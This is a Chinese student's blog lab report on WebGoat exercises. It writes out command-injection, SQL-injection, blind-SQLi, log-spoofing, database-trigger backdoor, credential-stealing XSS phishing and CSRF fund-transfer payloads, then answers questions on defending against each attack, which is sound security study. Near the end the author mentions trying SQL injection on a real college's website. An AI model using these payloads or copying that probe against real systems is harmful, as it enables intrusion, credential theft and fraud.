20155302《网络对抗》Exp9 Web安全基础

20155302《网络对抗》Exp9 Web安全基础

实验内容

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验过程

1.webgoat的安装启动

使用自己虚拟机可能需要安装,使用老师虚拟机可以直接运行打开webgoat使用指令java -jar webgoat-container-7.1-exec.jar

然后打开火狐浏览器访问localhost:8080/WebGoat(因为默认端口是8080,如果自己改动过换成所改即可)

看到正常访问webgoat网站,下面就可以愉快的进行实验了~(真愉快😰)

2.Injection Flaws

Command Injection

打开webgoat我们可以看到左侧有很多种攻击实验可以选择,于是我们先选一个看似简单的Command Injection来试试

??!竟然都是英文,这些是啥看都看不懂😵,于是后面实验中陪伴我最多的就是百度翻译了~

题目的大概意思就是命令注入攻击对任何参数驱动的站点都构成严重威胁。清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。要求我们应用程序使用系统命令返回文件的内容。

好的,了解了我们要做什么接下来就是实际操作,打开浏览器右上角的小虫子即可打开网页的源代码,这也是我们Injection Flaws实验很重要的环节,大多都需要在网页源代码上进行修改

完成后我们可以在搜索框里直接搜索我们想要找的代码位置,如本题我们要改BackDoors.help后面的代码,于是直接搜索BackDoors.help,找到后在其后加入"& netstat -an & ipconfig"

然后在view下拉框中选定刚刚添加的代码选项而后view一下,就出现了网络端口使用情况和IP地址。并且实验成功~

Numeric SQL Injection

在翻译的帮助下我知道了本题尝试注入导致所有天气数据显示的SQL字符串,应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。

好的,既然最困难的英语一关都克服了,还有什么困难的呢?做下去吧~ 拿出我们最为擅长的永真式式子1=1~根据执行SQLSELECT * FROM weather_data WHERE station = 101注入SQLSELECT * FROM weather_data WHERE station = 101 or 1=1修改属性值

实验结果是查找哥伦比亚能看到所有地方的天气:

Log Spoofing

这个简单看名字就猜的八九不离十了,是日志欺骗,利用日志的格式,使用换行等字符,欺骗管理员

欺骗下没脑子的计算机,在User Name中输入yxc%0d%0aLogin Succeeded for username: admin由于最后以Login Succeeded for username: admin结尾,所以骗过了蠢萌的电脑,在日志中生成了一个成功登陆的日志

于是我们再次点击登陆就可以看到虽然你的用户名登录失败不过作为管理员的登陆信息登陆成功,成功登陆了!

实验需要注意的是,实验中这网站经常会卡刷不出最新结果,点一下restart重新开始就好了

String SQL Injection

我们熟悉的也是用得最多的SQL字符串注入攻击,仍然是永真式1=1的或门注入,不过要注意这次是字符串注入需要注意那'的使用,本题直接在last name中注入Snow' OR '1'='1

就算注入的是表内last name中没有的关键词也可以查到,因为这时决定权在1=1上面,永真式的使用让前面的关键词显得毫无作用

LAB: SQL Injection(Stage 1:String SQL Injection)

使用字符串SQL注入来绕过身份验证。展现了数字和字符串不同的注入方法,对password进行拦截,然后使用字符串注入,可以登录任意账户。

很多网站密码验证都是 select * from User where username=‘’and password =‘’
在这里我们要在password = ‘’这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:
select * from User where username=‘’and password =‘’ or 1 = 1 --‘
这样就可以登陆任何用户了

密码中输入' or 1=1 --,却发现登录失败!?

查看网页源代码发现问题,原来密码只能是八位以内的,而我们输入了九位字符,好吧,把它改长点就好了,改个100吧

之后登陆成功!

Stage 3:Numeric SQL Injection

这个案例我们需要我们登陆larry后能浏览Boss Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮

viewprofile这个地方数据库应该是以员工ID作为索引,返回的是每次查询到的第一条数据,老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:
101 or 1=1 order by salary desc --

实验结果:

Database Backdoors

先输入101看看该用户的信息

通过输入sql语句来修改信息内容,比如输入101; update employee set salary=100 where userid=101;(😭给自己写穷点)

后面要求注入一个触发器,触发器内容:
101;create trigger backdoor before insert on employee for each row begin update employee set email='yxc@hackme.com'WHERE userid = 101;
就是把所有新注册的用户的email地址改成yxc@hackme.com

Blind Numeric SQL Injection

盲注,啧啧啧,听上去就比较麻烦,不过这可能是现在唯一还可以尝试去攻击使用的SQL方法了吧。我们想知道其pin的值,没什么办法,只能尝试然后通过连续不断的尝试缩小范围最后利用抓包来解决。首先我们先随便试一个值,比如100,我猜测它大于100于是我们尝试注入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );

因为101是默认值是真的,而我们注入的代码显示Account number is valid,表示也是真的,所以我们得出其值大于100也是真的,于是一点点增大继续盲注试一试,比如1000

唉,就这样一点点缩小范围,虽然很麻烦但不得不这样做,最后得出一个区间它在1500到2500之间!

然后打开Burp,这里的配置方法网上都有,也不难在此不做累述

设置查找区间1500~2500,并且为了精准step设置为1

长度与众不同的就是它,2364!因为其他的都是显示登陆成功,收到的长度应该是一样的,而这个显示登录失败,必然长度不同,就好比羊群里住了一只狼,从颜色上看就足以让牧羊人把它打出去!

回到浏览器输入进去果然成功!

XSS攻击(Cross-Site Scripting (XSS))

Phishing with XSS

钓鱼网站攻击,首先,我们需要自己写一个页面,用于钓鱼:

</form>
<script>
function hack(){
alert("Had this been a real attack... Your credentials were just stolen.UserName="+document.forms[1].user.value+"Password:"+document.forms[1].pass.value);
XSSImage = new Image();
XSSImage.src = "http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value+"&password="+document.forms[1].pass.value;
}</script><form>
<br><br><HR><H3>This feature requires account login :</H3><br><br>
Enter UserName:<br><input type="text" id="user" name="user" /><br>
Enter Password:<br><input type="password" id="pass" name="pass" /><br>
<input type="button" id="login" name="login" value="login" onclick="hack()" />
</form><br><br></HR>

在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的alert:

输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

Stored XSS Attacks

主要是攻击者在自己的个人资料中添加了恶意代码(比如最简单的),然后保存。在被攻击者查看攻击者的资料的时候,会执行攻击者写的恶意代码。

在留言板中输入<script>alert("yxc's attack is perfect!");</script>

Reflected XSS Attacks

反射式XSS攻击,和第一个钓鱼攻击差不多,不过钓鱼攻击强调的额是修改响应,而这个则是修改请求。在搜索的时候,本来应该输入用户名,但是现在你直接输入一段代码,点击搜索就会弹出提示框。

在文本框中输入<script>alert('123')</script>验证代码,显示成功~

Cross Site Request Forgery (CSRF)

在被攻击者打开一个网页(攻击者修改过)的时候,加载页面的时候,会自动向后台发请求。

在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000">标签在加载的时候,会自动请求src中的url,因此,可以修改url值,携带参数,达到攻击的目的。需要注意的是,每个人每次实验中网站自主生成的src和menu是不一样的,注意看右边的题目要求

点击提交会显示转走了5000元,实验即成功。

CSRF Prompt By-Pass

我们依旧和上一个一样要构造CSRF攻击,不过这次其包括了两个请求,一是转账请求,二是现在需要确认转账。

在message中输入自己编写的攻击代码:

<iframe      src="http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000"      id="myFrame" frameborder="1" marginwidth="0"      marginheight="0" width="800" scrolling=yes height="300"      onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=CONFIRM';">  </iframe>  <iframe      id="frame2" frameborder="1" marginwidth="0"      marginheight="0" width="800" scrolling=yes height="300">  </iframe>

第一个iframe(id=myFrame),页面在加载这个frame时,发请求:http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000,该请求完成了转账5000的请求。
而执行onload(加载ifram2)时,自动访问网址:http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=CONFIRM

提交后确认转账成功:

基础问题回答:

1.SQL注入攻击原理,如何防御?

原理大致为:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

防御方法:

1、检查变量数据类型和格式

如果SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。

2、过滤特殊符号

对于PHP程序+MySQL构架的程序,在动态的SQL语句中,使用单引号把变量包含起来配合addslashes函数是应对SQL注入攻击的有效手段,但这做的还不够,根据「检查数据类型」的原则,uid都应该经过intval函数格式为int型,这样不仅能有效避免SQL注入漏洞,还能使得程序看起来更自然,尤其是在NoSQL(如MongoDB)中,变量类型一定要与字段类型相匹配才可以。

3、绑定变量,使用预编译语句

绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构,username变量传递的 plhwin' AND 1=1-- hack 参数,也只会当作username字符串来解释查询,从根本上杜绝了SQL注入攻击的发生。

2.XSS注入攻击原理,如何防御?

原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

防御:
(1)编码:对用户输入的数据进行HTML Entity编码

(2)过滤:移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。

(3)校正:避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签。

3.CSRF攻击原理,如何防御?

原理:

CSRF全名是Cross-site request forgery,是一种对网站的恶意利用。CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,通过伪装来自受信任用户的请求来利用受信任的网站。它危害性甚至比XSS更大。比如实验中的转账之类的。

防御:

通过 referer、token 或者 验证码 来检测用户提交。

尽量不要在页面的链接中暴露用户隐私信息。

对于用户修改删除等操作最好都使用post 操作 。

避免全站通用的cookie,严格设置cookie的域。

实验感想与体会

本次实验很繁琐但很有意思,webgoat这个网站是有丶东西的,可以把我们平时所学或者听说过的一些漏洞攻击来以课程的方式实现,很好,如果说有不足那就是要是有一个全中文的网站也能实验就好了,XSS、SQL注入、CSRF这些攻击方法相比会很长一段时间留在我的脑海中挥之不去,但课下也用北京电子职业科技学院的官网实验了一下,并不能使用SQL注入方法来登陆不知名的该校学生信息系统,说明这些漏洞随着科技的发展和人们安全意识的加强已经逐渐被改善了,重点在课下学了学SQL的具体知识,推荐给大家一个讲的比较好的链接,希望对大家学习有帮助其中JiaThis联合创始人潘良虎的回答值得学习最后一次实验了,激动又有一点小小的失落,啊我的青春,,全都记录在了博客园里啊~

posted @ 2018-05-23 11:24  乐舞歌不是可爱送  阅读(221)  评论(0编辑  收藏  举报
Live2D